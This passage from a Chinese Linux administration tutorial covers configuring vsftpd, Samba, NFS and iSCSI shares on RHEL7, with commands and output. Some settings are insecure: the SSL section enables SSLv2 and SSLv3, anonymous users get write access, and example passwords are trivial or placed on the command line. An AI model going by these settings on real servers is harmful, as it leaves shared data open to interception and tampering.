connect_from_port_20=YES #主动模式传输接口 xferlog_std_format=YES #使用标准ftp日志的格式 listen=YES #允许被侦听 pam_service_name=vsftpd #ftp采用pam默认用户名密码验证 userlist_enable=YES #用户登陆限制 tcp_wrappers=YES #网络访问限制机制 #[打开vim,输入正则 去掉警号:%s/#.*$//g 去掉空格:%s/\s//g]3.启动FTP服务,并设置开机自动启动.[root@localhost ~]# systemctl start vsftpd [root@localhost ~]# systemctl enable vsftpd配置本地用户FTP服务器作用:只有正确输入用户名和密码才能访问数据.[本地配置常用参数] local_enable=YES #是否启用本地系统用户 local_umask=022 #本地用户所上传文件的权限掩码 local_root=/var/ftp #设置本地用户的FTP根目录 chroot_local_user=YES #是否将用户禁锢在主目录 local_max_rate=0 #限制最大传输速率 ftpd_banner=Welcome to blah FTP service #用户登录时显示的欢迎信息 banner_file=/目录 #弹出一个说明,可以做哪些操作 userlist_enable=YES &userlist_deny=YES #禁止/etc/vsftpd/user_list文件中出现的用户名登录FTP userlist_enable=YES & userlist_deny=NO #仅允许/etc/vsftpd/user_list文件中出现的用户名登录FTP1.安装VSFTP服务器.[root@localhost ~]# yum install -y vsftpd2.修改VSFTP主配置文件,覆盖写入以下内容,并去掉#号注释即可.[root@localhost ~]# vim /etc/vsftpd/vsftpd.conf pasv_enable=YES #开启被动模式 pasv_min_port=10000 #被动模式最小端口 pasv_max_port=15000 #被动模式最大端口 anonymous_enable=NO #允许匿名用户登陆 chroot_local_user=YES #把用户禁锢在家目录 local_enable=YES #本地用户允许登陆 local_root=/ghost #指定本地用户的ftp根目录 write_enable=YES #允许本地用户上传 local_umask=022 #本地用户上传umask值 xferlog_enable=YES #激活记录日志 xferlog_std_format=YES #使用标准ftp日志的格式 listen=YES #允许被侦听 pam_service_name=vsftpd #ftp采用pam默认用户名密码验证 userlist_enable=YES #用户登陆限制 tcp_wrappers=YES #网络访问限制机制 #[打开vim,输入正则 去掉警号:%s/#.*$//g 去掉空格:%s/\s//g]3.创建用户并指定其家目录,创建用于存储数据的目录.[root@localhost ~]# useradd -s /sbin/nologin -d /ghost/lyshark lyshark [root@localhost ~]# passwd lyshark4.启动FTP服务,并设置开机自动启动.[root@localhost ~]# systemctl start vsftpd [root@localhost ~]# systemctl enable vsftpd配置匿名与本地混合FTP作用:匿名用户可以查看共享数据,登陆后有自己的存储池.1.安装VSFTP服务器[root@localhost ~]# yum install -y vsftpd2.修改VSFTP主配置文件,覆盖写入以下内容,并去掉#号注释即可.[root@localhost ~]# vim /etc/vsftpd/vsftpd.conf pasv_enable=YES #开启被动模式 pasv_min_port=10000 #被动模式最小端口 pasv_max_port=15000 #被动模式最大端口 anonymous_enable=YES #允许匿名用户登陆 anon_umask=022 #设置匿名用户umask anon_root=/var/ftp #匿名用户ftp根目录 anon_upload_enable=YES #允许匿名用户上传 anon_mkdir_write_enable=YES #允许匿名用户建立目录 anon_other_write_enable=YES #开放其他人写入权限 anon_max_rate=0 #限制最大传输速率 local_enable=YES #允许本地用户登录 local_root=/ghost #指定本地用户的ftp根目录 chroot_local_user=YES #把用户禁锢在家目录 write_enable=YES #允许本地用户上传 local_umask=022 #本地用户上传umask值 xferlog_enable=YES #激活记录日志 xferlog_std_format=YES #使用标准ftp日志的格式 listen=YES #允许被侦听 pam_service_name=vsftpd #ftp采用pam默认用户名密码验证 userlist_enable=YES #用户登陆限制 tcp_wrappers=YES #网络访问限制机制 #[打开vim,输入正则 去掉警号:%s/#.*$//g 去掉空格:%s/\s//g]3.创建用户并指定其家目录,创建用于存储数据的目录.[root@localhost ~]# useradd -s /sbin/nologin -d /ghost/lyshark lyshark [root@localhost ~]# passwd lyshark4.启动FTP服务,并设置开机自动启动.[root@localhost ~]# systemctl start vsftpd [root@localhost ~]# systemctl enable vsftpd配置虚拟用户FTP服务器作用:有时候创建本地用户过多,严重影响系统效率,所有我们要使用虚拟用户模式.[虚拟配置常用参数] anon_world_readable_only=NO #允许查看和上传下载文件 anon_upload_enable=YES #允许上传文件 anon_world_readable_only=NO #允许查看和上传下载文件 anon_mkdir_write_enable=YES #允许创建目录 anon_world_readable_only=NO #允许查看和上传下载文件 anon_other_write_enable=YES #允许重名和删除文件1.安装相应软件包,libdb-utls是数据库包.写入相应账号以及密码yum install -y libdb-utils 写入相应账号以及密码yum install -y vsftpd2.配置vlogin文件,vlogin文件名称可自定义,写入相应账号以及密码.[root@localhost ~]# vim /etc/vsftpd/vlogin Lyshark #奇数行写账号 123456 #偶数行写密码3.将写好的文件加密,并转换成vlogin.db数据库文件[root@localhost ~]# db_load -T -t hash -f /etc/vsftpd/vlogin /etc/vsftpd/vlogin.db4.设置数据库文件的权限,保证安全.[root@localhost ~]# chmod 600 /etc/vsftpd/{vlogin,vlogin.db}5.覆盖编辑PAM文件,写入以下内容.[root@localhost ~]# vim /etc/pam.d/vsftpd.pam auth required /lib64/security/pam_userdb.so db=/etc/vsftpd/vlogin account required /lib64/security/pam_userdb.so db=/etc/vsftpd/vlogin6.创建一个映射账号virtual,所有的登陆请求都是virtual.[root@localhost ~]# useradd -s /sbin/nologin -d /home/ftp virtual7.修改VSFTP主配置文件,覆盖写入以下内容,并去掉#号注释即可.[root@localhost ~]# vim /etc/vsftpd/vsftpd.conf pasv_enable=YES #开启被动模式 pasv_min_port=10000 #被动模式最小端口 pasv_max_port=15000 #被动模式最大端口 anonymous_enable=NO #允许匿名用户访问 local_enable=YES #允许本地用户登录 write_enable=YES #允许本地用户上传 anon_upload_enable=YES #允许匿名用户上传 anon_mkdir_write_enable=NO #允许匿名用户建立目录 anon_other_write_enable=NO #开放其他人写入权限 chroot_local_user=YES #把用户禁锢在家目录 guest_enable=YES #启动来宾用户 guest_username=virtual #来宾默认使用的用户 listen=YES #允许被侦听 listen_port=21 #侦听21端口 pam_service_name=vsftpd.pam #ftp采用pam默认用户名密码验证 user_config_dir=/etc/vsftpd_user_conf #指定虚拟用户配置文件保存位置 user_sub_token=$USER #映射用户变量 #[打开vim,输入正则 去掉警号:%s/#.*$//g 去掉空格:%s/\s//g]8.创建对应文件(用于保存权限文件).[root@localhost ~]# mkdir /etc/vsftpd_user_conf [root@localhost ~]# mkdir -p /home/ftp/lyshark9.编辑文件给指定用户分配权限,用匿名用户权限分配.[root@localhost ~]# vim /etc/vsftpd_user_conf/lyshark local_root=/home/ftp/$USER anon_upload_enable=YES anon_mkdir_write_enable=YES anon_other_write_enable=YES chroot_local_user=YES # allow_writeable_chroot=YES #可在公共目录下创建文件10.启动FTP服务,并设置开机自动启动.[root@localhost ~]# systemctl start vsftpd [root@localhost ~]# systemctl enable vsftpdOpenSSL+FTP 加密传输1.查看是否安装OpenSSL包.[root@localhost ~]# rpm -q openssl2.生成SSL加密密钥对.[root@localhost ~]# openssl req -new -x509 -nodes -out vsftpd.pem -keyout vsftpd.pem [参数说明] req #标注格式 -new #创建一个新的证书 -x509 #证书内容格式 -nodes #不使用密码 -out #生成文件名 -keyout #生成的秘钥文件名 #创建时依次填写:国家、省份、城市、组织、部门、个人或主机名、邮箱3.把生成的证书放入特定目录下,并给予最低权限,保证安全.[root@localhost ~]# cp -a vsftpd.pem /etc/ssl/certs/ [root@localhost ~]# chmod 500 /etc/ssl/certs/4.在VSFTP主配置中文件加入以下参数. [root@localhost ~]# vim /etc/vsftpd/vsftpd.conf ssl_enable=YES #启用ssl认证 ssl_tlsv1=YES ssl_sslv2=YES #开启tlsv1、sslv2、sslv3都支持 ssl_sslv3=YES allow_anon_ssl=YES #允许匿名用户 force_anon_logins_ssl=YES force_anon_data_ssl=YES #匿名登录和传输时强制使用ssl force_local_logins_ssl=YES force_local_data_ssl=YES #本地登录和传输时强制使用ssl rsa_cert_file=/etc/ssl/certs/vsftpd.pem #证书文件所在目录 #[打开vim,输入正则 去掉警号:%s/#.*$//g 去掉空格:%s/\s//g]5.启动FTP服务,并设置开机自动启动.[root@localhost ~]# systemctl start vsftpd [root@localhost ~]# systemctl enable vsftpdSamba 文件共享smb: 实现资源共享、权限验证 -> TCP 139 445nmb: 实现计算机名解析 -> UDP 137Samba和FTP的区别Samba可以实现跨平台的文件传输,并且支持在线修改,这一点是它和FTP服务器的明显区别.Linux 系统之间的资源共享,我们使用的是NFS协议.Windows 系统之间的资源共享,我们使用的是NetBIOS协议.Linux 和 Windows 之间资源共享我们就要使用SMB协议了.CIFS协议.匿名验证Samba配置匿名Samba的主要作用是,在局域网内编辑共享文件,比如你有一个word文件需要让大家填写,此时我们就可以使用Samb服务将Word文档匿名分享出去,让大家填写文档◆配置服务端◆1.首先通过yum,来安装samba服务程序,恰巧samba服务名也是samba[root@localhost ~]# yum install -y samba samba-client Loaded plugins: product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager. Package samba-4.7.1-6.el7.x86_64 already installed and latest version Package samba-client-4.7.1-6.el7.x86_64 already installed and latest version Nothing to do2.然后创建一个共享目录,这个目录主要用来存储一些文件,后期要共享出去[root@localhost ~]# mkdir /smb_file [root@localhost ~]# [root@localhost ~]# chmod 755 -R /smb_file/ [root@localhost ~]#3.编辑Samba主配置文件,在配置文件最下面创建匿名共享区域,如果有多个匿名区域可以继续往下写配置[root@localhost ~]# vim /etc/samba/smb.conf 6 [global] 7 workgroup = SAMBA 8 security = user 9 map to guest=Bad User #添加此项,开启免密码认证 ..... 39 [smb_file] #共享目录显示的名称 40 comment=hello guest #描述信息(可以自定义) 41 path=/smb_file #共享的目录 42 browseable=yes #共享目录是否对所有人可见 43 guest ok=yes #允许匿名用户访问 44 writable=yes #匿名用户可写 45 public=yes #所有人可见4.重启SMB服务,并设置开机自启动[root@localhost ~]# systemctl restart smb [root@localhost ~]# systemctl enable smb◆配置Linux客户端◆1.首先想要使用Samba资源,需要在Linxu客户端安装一个Samba的客户端工具,下面就开始安装吧[root@localhost ~]# yum install -y samba-client Loaded plugins: product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager. Package samba-client-4.7.1-6.el7.x86_64 already installed and latest version Nothing to do2.匿名用户访问,我们可以直接使用下面的命令无需输入密码直接扫描资源,并使用[root@localhost ~]# smbclient -L //服务器IP #查看smaba共享目录 Enter SAMBA root s password: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smb_file Disk hello guest IPC$ IPC IPC Service (Samba 4.7.1) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- [root@localhost ~]# smbclient //服务器IP/共享名 #查看共享文件 Enter SAMBA root s password: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Mon Nov 5 04:53:30 2018 .. DR 0 Mon Nov 5 04:45:11 2018 17811456 blocks of size 1024. 16582792 blocks available smb: \>◆配置Windows客户端◆运行CMD(Win+R) > 输入:\\服务器IP\ 共享资源名 #访问目录 C:\Users\LyShark>net use * /del #清理windows目录缓存 你有以下的远程连接: \\192.168.1.20\smb_file 继续运行会取消连接。 你想继续此操作吗? (Y/N) [N]: y 命令成功完成。密码验证Samba配置基于密码验证的Samba的常用作用是,在局域网内,实现加密访问,只有知道相应密码的人才能访问指定资源◆配置服务端◆1.首先通过yum,来安装samba服务程序,恰巧samba服务名也是samba[root@localhost ~]# yum install -y samba samba-client Loaded plugins: product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager. Package samba-4.7.1-6.el7.x86_64 already installed and latest version Package samba-client-4.7.1-6.el7.x86_64 already installed and latest version Nothing to do2.然后创建一个共享目录,这个目录主要用来存储一些文件,后期要共享出去[root@localhost ~]# mkdir /smb_file [root@localhost ~]# [root@localhost ~]# chmod 755 -R /smb_file/ [root@localhost ~]#3.编辑Samba主配置文件,在配置文件最下面创建共享区域,如果有多个区域可以继续往下写配置[root@localhost ~]# vim /etc/samba/smb.conf 39 [smb_file] #共享目录显示的名称 40 comment=hello admin #描述信息(可以自定义) 41 path=/smb_file #共享的目录 42 browseable=yes #共享目录是否对所有人可见 43 guest ok=no #允许匿名用户访问 44 writable=yes #可写4.通过命令管理,创建一个系统用户,并转换为Samba用户[root@localhost ~]# useradd -M -s /sbin/nologin admin #创建一个系统用户 [root@localhost ~]# smbpasswd -a admin #将系统用户转化成Samba用户 ----------------------------------------------------------------- [参数说明] smbpasswd [选项] 账户名称 -a #添加账户并设置密码 -x #删除SMB账户 -d #禁用SMB账户 -e #启用SMB账户 ----------------------------------------------------------------- [root@localhost ~]# useradd -M -s /sbin/nologin guest #创建一个系统用户 [root@localhost ~]# pdbedit -a guest #将系统用户转化成Samba用户 new password: retype new password: Unix username: guest NT username: Account Flags: [U ] User SID: S-1-5-21-2500030998-3215874083-1041928306-1001 Primary Group SID: S-1-5-21-2500030998-3215874083-1041928306-513 Full Name: Home Directory: \\localhost\guest HomeDir Drive: Logon Script: Profile Path: \\localhost\guest\profile Domain: LOCALHOST Account desc: Workstations: Munged dial: Logon time: 0 Logoff time: Wed, 06 Feb 2036 10:06:39 EST Kickoff time: Wed, 06 Feb 2036 10:06:39 EST Password last set: Mon, 05 Nov 2018 06:23:37 EST Password can change: Mon, 05 Nov 2018 06:23:37 EST Password must change: never Last bad password : 0 Bad password count : 0 Logon hours : FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [root@localhost ~]# pdbedit -L #列出所有Samba用户 admin:1001: guest:1002:5.重启SMB服务,并设置开机自启动[root@localhost ~]# systemctl restart smb [root@localhost ~]# systemctl enable smb◆配置Linux客户端◆1.首先想要使用Samba资源,需要在Linxu客户端安装一个Samba的客户端工具,下面就开始安装吧[root@localhost ~]# yum install -y samba-client Loaded plugins: product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager. Package samba-client-4.7.1-6.el7.x86_64 already installed and latest version Nothing to do2.用户访问,我们可以直接使用下面的命令输入密码扫描资源,并使用[root@localhost ~]# smbclient -U 用户名 -L //服务器IP #查看共享目录 Enter SAMBA dmin s password: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smb_file Disk hello admin IPC$ IPC IPC Service (Samba 4.7.1) admin Disk Home Directories Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- [root@localhost ~]# smbclient -U 用户名 //服务器IP/共享文件名 #查看共享文件 Enter SAMBA dmins password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Nov 5 06:30:02 2018 .. DR 0 Mon Nov 5 06:17:37 2018 lyshark N 988 Mon Nov 5 06:23:28 2018 17811456 blocks of size 1024. 16584148 blocks available◆Linux挂载Samba◆1.将远程的smb_file共享目录,挂载到本地的/mnt下,我们可以执行以下命令[文件格式] [/smb_file共享目录][挂载到/mnt] [username=smb用户名][password=smb密码] [root@localhost ~]# mount -t cifs //192.168.1.20/smb_file /mnt -o username=admin,password=123123 [root@localhost ~]# [root@localhost ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/rhel-root 17G 1.2G 16G 7% / //192.168.1.20/smb_file 17G 1.2G 16G 7% /mntNFS 实现文件共享NFS 即网络文件系统,是一种使用于分布式文件系统的协议,NFS 功能是通过网络让不同的机器,不同的操作系统能够彼此分享各自的数据,让应用程序在客户端通过网络访问位于服务器磁盘中的数据,是在类Unix系统间实现磁盘文件共享的一种方法.目前NFS有三个版本,其常用的版本解析NFSv2:是一个古老的版本,但却被众多的操作系统所支持,这样兼容性更好.NFSv3:拥有更多的特点,包括更快的速度,更大的单个文件大小,对TCP的支持.NFSv4:提供有状态连接,共容易追踪,安全性增强,RHEL7上默认4版本协议.在启动NFS Server之前,首先要启动RPC服务否则NFS Server就无法向RPC服务区注册,另外如果RPC服务重新启动,原来已经注册好的NFS端口数据就会全部丢失.因此此时RPC服务管理的NFS程序也要重新启动以重新向RPC注册.NFS系统的守护进程介绍RPC:(Remote Procedure Call Protocol),远程过程调用协议NFS:它是基本的NFS守护进程,主要功能是管理客户端是否能够登录服务器RPCbind:主要功能是进行端口映射工作,和端口代理分配等客户端NFS和服务端NFS通讯过程首先服务器端启动RPC服务,并开启111端口启动NFS服务,并向RPC注册端口信息客户端启动RPC,向服务端的RPC服务请求服务端的NFS端口服务端的RPC服务,反馈NFS端口信息给客户端客户端通过获取的NFS端口来建立和服务端的NFS连接并进行数据的传输NFS服务器是通过读取/etc/exports配置文件设定那个客户端可以访问那些NFS共享文件系统,该文件书写原则有如下几条.空白行的内容将被忽略以#号开头的内容是注释可以通过\转义字符换行每个共享文件系统需要独立一行条目客户端的主机列表需要使用空格隔开接下来我们来看一下一条完整的规则条目是如何书写的吧,需要注意的是客户端主机可以是一个网段,单台主机或者是主机名称,在使用时应该灵活运用.[共享目录] [允许谁来访问][权限] [可用主机名][权限] [其他主机权限] /nfs 192.168.1.1(rw) localhost(rw) *(ro,sync) /nfs 192.168.1.0/24(rw) localhost(rw) *(ro,sync) /nfs 192.168.1.1(rw) 192.168.1.2(ro) 192.168.1.3(ro,sync)如上所示,有个权限列表,NFS配置中可以给一个共享路径指定相关权限,NFS的默认属性为ro,sync,wdelay,root_squash,具体的NFS属性列表,我们可以参考一下列表.NFS权限选项功能描述信息ro以只读方式共享rw以读写方式共享sync同步写入磁盘async异步写入磁盘wdelay延迟写入操作root_squash屏蔽远程root权限no_root_squash不屏蔽远程root权限all_squash屏蔽所有远程用户权限以上的几个说明信息,是我们最常用的几个,当然还有很多这样的配置选项,这里就不依次列举了,更多内容请百度了解.NFS 服务端配置1.在配置NFS共享文件之前,我们先来放行NFS的几个常用服务,并将防火墙默认设置为拒绝状态.[root@localhost ~]# firewall-cmd --add-service=nfs [root@localhost ~]# firewall-cmd --add-service=mountd [root@localhost ~]# firewall-cmd --add-service=rpc-bind [root@localhost ~]# firewall-cmd --add-service=nfs --permanent [root@localhost ~]# firewall-cmd --add-service=mountd --permanent [root@localhost ~]# firewall-cmd --add-service=rpc-bind --permanent2.通过YUM仓库快速安装NFS相关的软件包.[root@localhost ~]# yum install -y rpcbind nfs-utils* Package rpcbind-0.2.0-47.el7.x86_64 already installed and latest version Package 1:nfs-utils-1.3.0-0.61.el7.x86_64 already installed and latest version Nothing to do3.创建需要共享的文件,并拷贝相关的文件内容,并设置SeLinux规则.[root@localhost ~]# mkdir -p /public [root@localhost ~]# chmod o+rw /public/ [root@localhost ~]# chcon -R -t public_content_t /public/4.修改NFS主配置文件,并写入要访问的主机列表.[root@localhost ~]# vim /etc/exports /public 192.168.1.0/24(rw,sync) #----------------------------------------------------------------- # 其他完整写法,可参考以下配置方式 #[共享目录] [允许谁来访问][权限] [可用主机名][权限] [其他主机权限] #/nfs 192.168.1.1(rw) localhost(rw) *(ro,sync) #/nfs 192.168.1.0/24(rw) localhost(rw) *(ro,sync)5.重启NFS服务,和守护进程,并设置开机自启动.[root@localhost ~]# systemctl restart nfs [root@localhost ~]# systemctl restart rpcbind [root@localhost ~]# systemctl enable nfs [root@localhost ~]# systemctl enable rpcbind [root@localhost ~]# systemctl restart nfs-server [root@localhost ~]# systemctl enable nfs-serverNFS 客户端配置1.通过YUM仓库快速安装NFS相关的软件包.[root@localhost ~]# yum install -y rpcbind nfs-utils* Package rpcbind-0.2.0-47.el7.x86_64 already installed and latest version Package 1:nfs-utils-1.3.0-0.61.el7.x86_64 already installed and latest version Nothing to do2.创建挂载点,并设置SeLinux规则.[root@localhost ~]# mkdir -p /mnt/nfsmount [root@localhost ~]# chcon -R -t public_content_t /mnt/nfsmountNFS挂载演示: 手动挂载目录,可通过mount命令来实现,具体的挂载参数如下.#mount -t nfs -o 选项 服务主机:/服务器共享目录 /本地挂载没记录 [root@localhost ~]# mount -t nfs -o rw,sync 192.168.1.5:/public /mnt/nfsmount [root@localhost ~]# df -hT |grep "public" Filesystem Type Size Used Avail Use% Mounted on 192.168.1.5:/public nfs4 17G 1.9G 16G 12% /mnt/nfsmount具体的挂载详细参数如下:● Intr:当服务器宕机时终端NFS请求● nfsvers=4:指定使用那个版本的协议● noacl:关闭ACL,仅与老版本兼容● nolock:关闭文件锁机制● noexec:挂载时屏蔽二进制程序● port=num:指定NFS服务器端口号● rsize=num:设置最大数据块大小(读取)● wsize=num:设置最大数据块大小(写入)● tcp:使用TCP协议挂载● udp:使用UDP协议挂载nfsstat命令: NFS提供了查看NFS共享状态功能.[root@localhost ~]# nfsstat #显示服务端与客户端状态 [root@localhost ~]# nfsstat -s #只显示服务端状态 [root@localhost ~]# nfsstat -c #只显示客户端状态 [root@localhost ~]# nfsstat -n #仅显示NFS与RPC信息 [root@localhost ~]# nfsstat -m #显示挂载信息 [root@localhost ~]# nfsstat -l #以列表信息显示信息rpcinfo命令: NFS生成RPC信息报表功能.[root@localhost ~]# rpcinfo -m 127.0.0.1 #显示指定主机rpcbind操作列表 [root@localhost ~]# rpcinfo -p 127.0.0.1 #显示指定主机RPC注册信息 [root@localhost ~]# rpcinfo -s #显示所有RPC注册信息showmount命令: NFS使用shomount命令可以查看远程主机共享列表.[root@localhost ~]# showmount -e 127.0.0.1 #显示服务器可用资源 [root@localhost ~]# showmount -a 127.0.0.1 #查看所有客户链接信息 [root@localhost ~]# showmount -d 127.0.0.1 #只显示客户输出信息exportfs命令: 此命令允许root在不重启NFS服务情况下,选择共享或取消共享文件.[root@localhost ~]# exportfs -a #全部挂载或卸载配置文件中的内容 [root@localhost ~]# exportfs -r #重新加载配置文件中的信息 [root@localhost ~]# exportfs -u #停止单一目录的共享 [root@localhost ~]# exportfs -au #停止所有服务端的共享 [root@localhost ~]# exportfs -ra #重新共享所有目录配置固定端口: 我们可以修改配置文件来实现配置固定的共享端口号.[root@localhost ~]# vim /etc/sysconfig/nfs RQUOTAD_PORT=5001 LOCKD_TCPPORT=5002 #设置tcp的ockd程序端口号 LOCKD_UDPPORT=5002 #设置udp的lockd程序端口号 MOUNTD_PORT=5003 #设置mountd程序端口号 STATD_PORT=5004 #设置rpc.statd程序端口号设置自动挂载: 修改自动挂载目录,写入以下内容即可实现自动挂载.[root@localhost ~]# vim /etc/fstab 192.168.1.1:/public /mnt/nfsmount nfs default 0 0iSCSI 磁盘共享服务iSCSI技术是一种新储存技术, iSCSI 提供了在 IP 网络封装 SCSI 命令,且以TCP/IP协议传输.配置iSCSI服务端1.通过yum安装iSCSI服务端,此处已安装成功,略过本步骤[root@localhost ~]# yum install -y targetd targetcli Loaded plugins: product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager. Package targetd-0.8.6-1.el7.noarch already installed and latest version Package targetcli-2.1.fb46-1.el7.noarch already installed and latest version Nothing to do2.安装成功后,手动启动iSCSI服务,并设置开机自启动 (注意:iSCSI服务程序为targetd)[root@localhost ~]# systemctl restart targetd [root@localhost ~]# systemctl enable targetd3.查看iSCSI服务端共享资源,targetcli是用于管理iSCSI服务的专用命令,在执行命令是可看到交互界面.[root@localhost ~]# targetcli Warning: Could not load preferences file /root/.targetcli/prefs.bin. targetcli shell version 2.1.fb46 For help on commands, type 'help'. /> ls o- / .................................................................... [...] o- backstores ......................................................... [...] | o- block ............................................................ [Storage Objects: 0] | o- fileio ........................................................... [Storage Objects: 0] | o- pscsi ............................................................ [Storage Objects: 0] | o- ramdisk .......................................................... [Storage Objects: 0] o- iscsi .............................................................. [Targets: 0] o- loopback ........................................................... [Targets: 0] />4.进入/backstores/block共享设备位置,并创建共享设备名称 (注意:/backstores/block是iSCSI服务端配置共享设备的位置)/> cd backstores/block #进入共享设备位置 /backstores/block> create disk0 /dev/sdb #创建共享设备名称 此处将 /dev/sdb 加入到设备中命名为disk0 Created block storage object disk0 using /dev/sdb. /backstores/block> cd / #返回根 /> ls o- / ............................................................. [...] o- backstores .................................................. [...] | o- block ..................................................... [Storage Objects: 1] | | o- disk0 ................................................... [/dev/sdb (20.0GiB) write-thru deactivated] | | o- alua .................................................. [ALUA Groups: 1] | | o- default_tg_pt_gp .................................... [ALUA state: Active/optimized] | o- fileio .................................................... [Storage Objects: 0] | o- pscsi ..................................................... [Storage Objects: 0] | o- ramdisk ................................................... [Storage Objects: 0] o- iscsi ....................................................... [Targets: 0] o- loopback .................................................... [Targets: 0] />5.创建iSCSI target名称及配置共享资源,iSCSI target 名称是由系统自动生成的,这是一串用于描述共享资源的唯一字符串/> cd iscsi #进入iSCSI目录 /iscsi> create #创建target标签 Created target iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8. Created TPG 1. Global pref auto_add_default_portal=true Created default portal listening on all IPs (0.0.0.0), port 3260. /iscsi> /iscsi> cd iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8/ #进入上面的标签中 /iscsi/iqn.20....8c7dcc63aea8> ls #查看标签内容 o- iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8 ........ [TPGs: 1] o- tpg1 ............................................................. [no-gen-acls, no-auth] o- acls ........................................................... [ACLs: 0] o- luns ........................................................... [LUNs: 0] o- portals ........................................................ [Portals: 1] o- 0.0.0.0:3260 ................................................. [OK] /iscsi/iqn.20....8c7dcc63aea8> cd tpg1/luns #进入tpg目录 /iscsi/iqn.20...ea8/tpg1/luns> create /backstores/block/disk0 #标签与设备绑定 Created LUN 0.6.配置访问控制列表(ACL),iSCSI设备无需密码进行验证,只需知道标签名称即可通过,因此需要在iSCSI服务端的配置文件中写入一串能够验证信息的名称,这里推荐在系统生成的标签后面加上标识符,:client参数,保证标签唯一性,同时方便区别和管理/> cd iscsi/iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8 #进入指定标签 /iscsi/iqn.20....8c7dcc63aea8> cd tpg1/acls #进入ACL配置列表 /iscsi/iqn.20...ea8/tpg1/acls> create iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8:client #创建用于挂载的标签 Created Node ACL for iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8:client Created mapped LUN 0. /iscsi/iqn.20...ea8/tpg1/acls>7.设置iSCSI服务器的监听IP地址和端口号,即在portals参数目录中写上服务器的IP地址,接下来系统会自动开启服务器192.168.1.20的3260号端口,为外部提供共享存储服务/> cd /iscsi/iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8/ #进入操作的标签 /iscsi/iqn.20....8c7dcc63aea8> cd tpg1/portals/ #进入端口配置 /iscsi/iqn.20.../tpg1/portals> ls o- portals ...................................................................... [Portals: 1] o- 0.0.0.0:3260 ............................................................... [OK] /iscsi/iqn.20.../tpg1/portals> /iscsi/iqn.20.../tpg1/portals> delete 0.0.0.0 3260 #删除原有配置 Deleted network portal 0.0.0.0:3260 /iscsi/iqn.20.../tpg1/portals> create 192.168.1.20 #创建侦听本机 Using default IP port 3260 Created network portal 192.168.1.20:3260. /iscsi/iqn.20.../tpg1/portals> ls o- portals ...................................................................... [Portals: 1] o- 192.168.1.20:3260 .......................................................... [OK] /iscsi/iqn.20.../tpg1/portals>8.配置全部妥当后检查一下,没问题的话保存./iscsi/iqn.20.../tpg1/portals> cd / /> /> ls o- / ................................................................... [...] o- backstores ........................................................ [...] | o- block ........................................................... [Storage Objects: 1] | | o- disk0 ......................................................... [/dev/sdb (20.0GiB) write-thru activated] #磁盘名称 | | o- alua ........................................................ [ALUA Groups: 1] | | o- default_tg_pt_gp .......................................... [ALUA state: Active/optimized] | o- fileio .......................................................... [Storage Objects: 0] | o- pscsi ........................................................... [Storage Objects: 0] | o- ramdisk ......................................................... [Storage Objects: 0] o- iscsi ............................................................. [Targets: 1] | o- iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8 ..... [TPGs: 1] #标签名称 | o- tpg1 .......................................................... [no-gen-acls, no-auth] | o- acls ......................................................................... [ACLs: 1] | | o- iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8:client ......... [Mapped LUNs: 1] #自定义标签 | | o- mapped_lun0 .............................................................. [lun0 block/disk0 (rw)] | o- luns ......................................................................... [LUNs: 1] | | o- lun0 ..................................................... [block/disk0 (/dev/sdb) (default_tg_pt_gp)] | o- portals ...................................................................... [Portals: 1] | o- 192.168.1.20:3260 .......................................................... [OK] #开启端口 o- loopback ........................................................................... [Targets: 0] /> exit Global pref auto_save_on_exit=true Last 10 configs saved in /etc/target/backup. Configuration saved to /etc/target/saveconfig.json [root@localhost ~]#9.重启SCSI服务,到此服务器已经配置完毕[root@localhost ~]# systemctl restart targetd [root@localhost ~]# systemctl enable targetd配置Linux客户端1.安装iSCSI客户端组件,在RHEL7系统中已经默认集成,如果没有请执行以下步骤,此处就略过[root@localhost ~]# yum install -y iscsi-initiator-utils iscsi-initiator-utils-iscsiuio Loaded plugins: product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager . Package iscsi-initiator-utils-6.2.0.874-7.el7.x86_64 already installed and latest version Package iscsi-initiator-utils-iscsiuio-6.2.0.874-7.el7.x86_64 already installed and latest version Nothing to do2.编辑iSCSI客户端中的initiator名称文件,把服务端的访问控制列表名称填写进来,然后重启iscsid服务程序,并将其加入到开机自启动列表[root@localhost ~]# vim /etc/iscsi/initiatorname.iscsi [root@localhost ~]# [root@localhost ~]# cat /etc/iscsi/initiatorname.iscsi InitiatorName=iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8:client [root@localhost ~]# systemctl restart iscsid [root@localhost ~]# systemctl enable iscsid3.发现iSCSI服务端存储资源,其中:-m discovery 参数的目的是扫描并发现存储资源,-t st 参数为执行扫描操作的类型,-p 参数后为iSCSI服务端的IP地址[root@localhost ~]# iscsiadm -m discovery -t st -p 192.168.1.20 #下图显示,找到一个标签地址 192.168.1.20:3260,1 iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8 [root@localhost ~]#4.接下来准备登陆iSCSI服务器,其中:-m node 